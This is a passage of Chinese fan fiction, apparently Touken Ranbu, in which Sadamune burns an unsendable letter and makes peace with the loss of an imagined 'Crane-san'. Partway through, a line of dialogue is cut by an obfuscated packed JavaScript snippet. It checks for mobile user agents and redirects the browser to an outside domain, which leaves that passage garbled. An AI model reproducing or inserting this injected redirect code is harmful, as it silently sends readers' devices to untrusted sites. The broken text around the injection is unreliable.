深色的影子覆在我的眼脸上,他轻手轻脚地掖好了被夜中翻来覆去、难以入眠的我撇下大半的被角。 天光未明的凌晨,星光隐没,风尚寒凉。 我不知道鹤先生有没有看出我那拙劣的伪装。 我甚至都不敢睁开眼睛,去看一眼他离去的背影。 这样的我,该如何向你坦言告别呢? 『鹤先生』,我好像病得更重了。 “这样啊,我这次远征三天后才会回来,小贞有什么想要的礼物吗?” 小光扶好腰间的本体刀,温和如常地询问我想要的伴手礼。 『礼物这种事情说出来就算不上惊喜了啦,光坊!』 “只要是小光带回来的,我都会好好收下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873694|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” 小光闻言,笑着揉了揉我的头,随后又从衣柜里拿出件稍厚一点的外套披在我的肩上。 “我知道了,小贞在本丸里要好好等我回来啊。” “不能因为我不在,就穿些随便的衣服哦,小贞。” “……嗯。” 我放下笔,拉扯着肩膀上的白色外套,和『鹤先生』一起站在门前目送着他远去。 白木莲花香似乎更加浓郁了起来。 6 信终于快写完了。 白木莲的花瓣落在小池塘里,像是撒在糖水碗里的一粒粒白芝麻。 晞在本丸的小池塘里养了鱼和莲花,不过此时并不是夏日的景趣,所以池塘里只有圆圆的碧绿荷叶浮在水面,随风漾起涟漪。 鱼儿在荷叶底下散漫地游曳着,平静的水面上倒映出蓝天白云以及我和鹤先生的倒影。 『贞坊贞坊!鹤想抓鱼吃啦——』 『鹤先生』蹲在我的左侧,跃跃欲试地看着池底养得格外肥美的大鱼,雪白的羽织都快要落进了池里。 蹲在我右侧的鹤先生在这时也凑了过来。 “贞坊!鹤想……” “想抓鱼吃?” 我笑着快速接上了他的话。 “没错没错,还是贞坊懂我~” 鹤先生笑眯眯地点了三下头,和『鹤先生』高兴时的小动作一模一样。 池塘不浅,我让鹤先生留下看鱼,我打算去仓库的杂物间里找找有没有捞鱼用的网兜。 『想吃光坊做的鱼了。』 可是小光要明天才能回来,不过没关系,歌仙殿的厨艺也很精湛。 『鹤先生』站在白木莲树下,在阳光不曾触及的树荫里,仰头看着湛蓝的天空。 『鹤只是想想啦,贞坊。』 我走在去往仓库的石子路上,忽然想到了那封将要写完的信。 ……只差个结尾了。 最终,我在仓库里找到可以用于捞鱼的网兜,虽然只落了一层薄灰,但估计也有较长一段时间没有被使用过了。 路过厨房时,正巧碰见了今日厨当番的歌仙殿,在告知他不久后会送来加餐后,『鹤先生』又找上了我。 『贞坊,你说,等鱼做好之后,鹤能尝尝吗?』 我一路无言,回到了小池塘边。 鹤先生一眼就看到了我,欢快地呼唤着我的名字。 “贞坊快来!这里藏了条大鱼,做成料理肯定很好吃!” 等吃完鱼后,晚上就能写好结局了吧。 “来了来了!” 我快步走近,脸上扬起灿烂的笑容。 7 信写好了,落款处填上了我的名字。 我在本丸中那棵最大的白木莲树下烧了它。 这是一封永远也无法被寄出的信。 蜿蜒的火舌舔舐上白纸黑字,热浪扭曲了空气,火光映照在灿金的眼瞳之中,仿佛正在灼烧着我的灵魂。 从此往后,我便不再会感到畏惧。 因为你会永远陪在我身边……对吗? 『当然哦~』 白到透明的白鹤俯下身来,火焰在他的脚下燃起,照亮这黑沉的夜,他的发丝如雪,却又带着浅淡的白木莲花的清香。 这是一场只有我和『鹤先生』的告别仪式。 『一直以来都辛苦你了,贞坊。』 『在未来,也要好好活下去呀。』 『鹤先生』的拥抱在我的记忆里一直都是冰冷的,但在今夜却难得的温暖了起来。 一如那天,有一只白鹤拥抱住了因失血过多、灵力匮乏,而濒临崩溃的我。 好温暖……好温暖啊。 『鹤先生』消融在了火焰、月色和白木莲花香中。 这个时候,我应当是要哭的。 但火焰烧尽了我眼角的泪,我哭不出来。 将灰烬埋在白木莲树的泥土下后,我丢了魂似的靠坐在树根旁,心脏上本就存在的空缺又开始了新一轮的叫嚣。 放下过往的执念从来都不是一件轻易的事情。 不过幸好,我做到了。 我——成功了。 “贞坊——?!” ……唔,又是我的幻想吗? 头有点晕,我不得不努力地把眼睛再睁大了些。 鹤先生又一次站在了白木莲树下,月光穿梭过枝桠,如水般倾泻在他的身上,影子与树影交叠、拉长。 微凉的手盖在了我滚烫的额头上。 “你发烧了,我带你去入手室找药研。” 鹤先生将我从地上一把捞了起来,抱在怀里后便飞快地朝一个方向奔去。 也许我真的是发烧了吧,我竟然还在想一些没头没脑的事情。 鹤先生的怀抱,既不冰凉也算不上温暖,也根本没有白木莲花的清香。 “鹤先生为什么会在这里啊?” 我含糊不清地嘟囔道。 “这种事情说出来就算不上惊喜了啦,贞坊。” 鹤先生的声音落在风里,一下子就飘远听不清了。 我靠着鹤先生肩头,胸腔里的空洞中重新生长出了新的血肉,填补昔日过往的伤痕。 鹤先生就是鹤先生啊。 我怎么到现在才意识到这一点呢。 8 这算是一个天大的好消息,我理应该告诉你。 我决定留下来了,和小光,伽罗,鹤先生一起。 就像你说的那样,在未来,也会好好的活下去。 小光带回来的伴手礼是一条发带,是相当帅气华丽的款式。 鹤先生送的白木莲枕芯的枕头也很好用,偶尔能让我梦见你。